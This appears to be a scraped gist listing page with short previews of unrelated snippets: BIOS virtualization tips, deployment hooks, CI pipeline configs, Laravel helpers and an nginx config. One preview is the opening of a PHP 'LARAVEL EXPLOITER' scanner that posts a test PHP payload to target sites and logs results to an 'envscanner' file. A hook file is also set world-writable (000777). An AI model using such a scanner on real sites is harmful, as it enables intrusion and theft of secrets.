http://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html https://www.youtube.com/watch?v=_wiGpBQGCjU
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| If anyone is receiving the following BIOS error: | |
| This computer doesn’t have VT-X/AMD-v enabled. Enabling it in the BIOS is mandatory. | |
| Then please reboot your computer and press the button required to enter the BIOS/UEFI setup. This will be something like F1, F2, F8, F12, Delete, etc. | |
| Once you enter the setup, dig around for VT-X (Intel) or AMD-v (AMD) depending on your processor. It may also be named something like Intel Virtualization Technology. | |
| After finding it, enable it, then save and reboot. The save and reboot button is usually F10 but may be different. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| files: | |
| "/opt/elasticbeanstalk/hooks/appdeploy/post/98_make_storage_writable.sh": | |
| mode: "000777" | |
| owner: root | |
| group: root | |
| content: | | |
| #!/usr/bin/env bash | |
| echo "Making /storage writeable..." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| error_reporting(0); | |
| #LARAVEL EXPLOITER v1# | |
| # BY FB/www.zeldin.go.id [ SECURITY GHOST ] # | |
| define("SAVED_FILE", "envscanner".uniqid().".txt"); | |
| function test($site, $test = 1){ | |
| switch($test){ | |
| case 1 : | |
| $postFields = "<?php echo('vuln'); ?>"; | |
| break; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # PLACEHOLDERS | |
| # [STAGING_FOLDER] - staging directory in your server | |
| # [STAGING_URL] - staging url | |
| # [STAGING_USER] - staging user in the server | |
| # [STAGING_MYSQLUSER] - staging mysql user | |
| # [STAGING_MYSQLPASSWORD] - staging mysql password | |
| # [ROOTUSER] - Mysql root user | |
| # [ROOTPASSWORD] - Mysql root password |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| image: atlassian/default-image:2 | |
| definitions: | |
| services: | |
| redis: | |
| image: redis:3.2 | |
| memory: 512 | |
| mysql: | |
| image: mysql:5.7 | |
| environment: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| namespace App\Providers; | |
| use Illuminate\Support\Facades\App; | |
| use Illuminate\Support\ServiceProvider; | |
| use Illuminate\Contracts\Filesystem\FileNotFoundException; | |
| class ConfigServiceProvider extends ServiceProvider | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if ( ! function_exists('config_path')) | |
| { | |
| /** | |
| * Get the configuration path. | |
| * | |
| * @param string $path | |
| * @return string | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| proxy_cache_path /tmp/cacheapi levels=1:2 keys_zone=microcacheapi:100m max_size=1g inactive=1d use_temp_path=off; | |
| server { | |
| listen 443 ssl http2 default_server; | |
| listen [::]:443 ssl http2 default_server; | |
| server_name example.com; | |
| location /api/ { | |
| # Rate Limiting | |
| limit_req zone=reqlimit burst=20; # Max burst of request |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Bitbucket Pipelines Configuration file | |
| # https://confluence.atlassian.com/bitbucket/configure-bitbucket-pipelines-yml-792298910.html | |
| # options: | |
| # size: 2x | |
| # max-time: 60 | |
| pipelines: | |
| default: | |
| - step: | |
| script: | |
| - echo "This script runs on all branches that don't have any specific pipeline assigned in 'branches'." |